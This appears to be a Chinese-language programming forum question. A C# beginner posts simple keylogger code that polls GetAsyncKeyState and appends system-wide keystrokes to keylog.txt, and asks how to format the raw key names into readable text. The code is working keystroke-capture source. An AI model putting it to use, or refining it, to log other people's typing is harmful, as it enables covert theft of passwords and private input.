我是新手,还在学习 C#
我有这个简单的代码(我从一个网站获得),它可以捕获击键并将其保存在一个文件中:
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
public Form1()
{
InitializeComponent();
timer1.Tick += new EventHandler(timer1_Tick);
timer1.Start();
}
string text = "";
void timer1_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
text += buffer;
if (text.Length > 10)
{
WriteToText(text);
text = "";
}
}
private void WriteToText(string value)
{
StreamWriter stream = new StreamWriter("keylog.txt",true);
stream.Write(value);
stream.Close();
}
它可以工作,但是,其中的文本keylog.txt
是这样的:
D1D2D3D4D5D6LButtonRButtonSpaceSpaceASD0emcomma0emPeriodSemicolon
等等......
但我想要的就是这样(格式化或排列):
123456[LeftClick][RightClick] ASD,.;
我怎么能那样做?我应该添加什么代码?